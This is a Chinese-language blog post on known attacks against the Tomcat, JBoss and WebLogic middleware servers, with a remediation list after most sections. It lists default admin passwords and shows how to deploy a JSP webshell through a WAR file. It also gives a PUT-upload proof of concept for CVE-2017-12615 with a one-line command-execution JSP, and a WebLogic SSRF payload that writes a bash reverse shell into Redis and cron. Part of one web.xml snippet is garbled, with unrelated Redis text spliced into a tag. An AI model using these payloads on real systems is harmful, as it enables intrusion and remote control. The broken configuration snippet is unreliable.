中间件漏洞

Mar 5, 2019 00:00 · 3158 words · 7 minute read 中间件

0x00 中间件

web服务器

web服务器用于提供http服务,即向客户端返回信息,其可以处理HTTP协议,响应针对静态页面或图片的请求,控制页面跳转,或者把动态请求委托其它程序(中间件程序)等。

web中间件

web中间件用于提供系统软件和应用软件之间的连接,以便于软件各部件之间的沟通,其可以为一种或多种应用程序提供容器。

web容器

web容器用于给处于其中的应用程序组件(JSP,SERVLET)提供一个环境,是中间件的一个组成部分,它实现了对动态语言的解析。比如tomcat可以解析jsp,是因为其内部有一个jsp容器。

所属的类别

web服务器:IIS、Apache、nginx、tomcat、weblogic、websphere等。

web中间件:apache tomcat、BEA WebLogic、IBM WebSphere等。

web容器:JSP容器、SERVLET容器、ASP容器等。

注意:web中间件与web服务器是有重叠的,原因在于tomcat等web中间件也具备web服务器的功能。

重点分析

web服务器只是提供静态网页解析(如apache),或者提供跳转的这么一种服务。而web中间件(其包含web容器)可以解析动态语言,比如tomcat可以解析jsp(因为tomcat含有jsp容器),当然它也可以解析静态资源,因此它既是web中间件也是web服务器。不过tomcat解析静态资源的速度不如apache,因此常常两者结合使用。

0x01 Tomcat

tomcat是apache的一个中间件软件,其可以提供jsp或者php的解析服务,为了方便远程管理与部署,安装完tomcat以后默认会有一个管理页面,管理员只需要远程上传一个WAR格式的文件,便可以将内容发布到网站,这一功能方便了管理员的同时也给黑客打开了方便之门,除此之外,tomcat还有一些样本页面,如果处理不当也会导致安全问题。

tomcat管理地址通常是:

Http://localhost:8080/manager

默认账号密码:

root/root
tomcat/tomcat 
admin admin
admin 123456

tomcat口令爆破

在默认不对tomcat做任何配置的时候爆破是无效的,而如果设置了账号密码就可以进行爆破。Tomcat的认证比较弱,Base64(用户名:密码)编码,请求响应码如果不是401(未经授权:访问由于凭据无效被拒绝。)即表示登录成功。登录成功后,可直接上传war文件,getshell(当然上传war文件需要manager权限)

war

.jsp shell文件打包为war文件:

jar -cvf shell.war shell.jsp

进入后台war file to deploy上传

漏洞修复

  • 删除远程部署页面,或者限定页面的访问权限。
  • 找到/conf/tomcat-users.xml修改用户名密码以及权限。

远程代码执行

远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 – 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行

vi /tomcat/conf/web

 <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
<!--第一步:添加初始化参数 readonly 为 false -->
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</loadedis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

反弹shell脚本写入/etc/crontabstartup>
    </servlet>

poc

访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个x.jsp,并用%20转义空格字符。x.jsp内容为:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
192.168.1.1:8080/x.jsp?cmd=ipconfig

漏洞修复

  • 禁用put

0x02 jBoss

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。与tomcat类似的是jboss也有远程部署平台,但不需要登陆。漏洞利用过程与tomcat类似

默认管理后台地址:

http://localhost:8080

war

访问管理页面,查看jboss配置页面中的JMX Console,这是JBoss的管理台程序,进入后找到Jboss.deployment包,该包下有flavor=URL.type=DeploymentSccanner选项。进入部署页面后便可以上传war文件,但与tomcat不同的是它不是本地上传war文件,而是从远程地址下载,因此需要自己准备一个文件服务器,用于远程下载war到目标jboss服务器上。具体方法是在部署页面找到”ADDURL”方法,输入URL地址,点击invoke。除了以上方法外,JMX-Console提供的BSH方法,同样也可以部署war包。

漏洞修复

  • 开启jmx-console密码认证

  • 删除jmx-console.war与web-console.war

反序列化

http://localhost:8080/invoker/readonly

返回500,说明页面存在,此页面有反序列化漏洞

漏洞修复

  • 有效解决方案:升级到JBOSS AS7版本

  • 临时解决方案:

1)不需要http-invoker.sar 组件的用户可直接删除此组件;

2)用于对 httpinvoker 组件进行访问控制。

WebLogic

WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。安装完weblogic默认会监听7001端口

反序列化

ssrf

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
  1. 探测内网redis端口(6379)

  2. Redis反弹shell

在Weblogic的SSRF中,有一个比较大的特点,就是虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

反弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/your-ip/port 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save    

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件,这里我就叫做test了,最终的URL如下:

?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

监听8888端口 nc -l 8888

burp发包

漏洞修复

  1. 删除SearchPublicRegistries.jsp

  2. 删除uddiexplorer文件夹,限制uddiexplorer应用 只能内网访问

任意文件上传

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。

访问 http://192.168.139.129:7001/ws_utc/config.do

设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css, ws_utc 应用的静态文件css目录,访问这个目录是无需权限的

然后点击安全 -> 增加,然后上传 webshell ,上传一个 jsp 大马

burp返回包或者f12查看时间戳

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],webshell地址

漏洞修复

  1. 升级到最新版本

war

默认后台 :

http://localhost:7001/console/login/loginForm.jsp

默认帐号:

用户名密码均为:weblogic

用户名密码均为:system

用户名密码均为:portaladmin

用户名密码均为:guest

成功登陆weblogic后台后,找到部署按钮,点击后选择安装,然后可以选择本地上传war包也可以利用远程url下载,部署完成后,weblogic会给出文件地址

漏洞修复

  1. 删除远程部署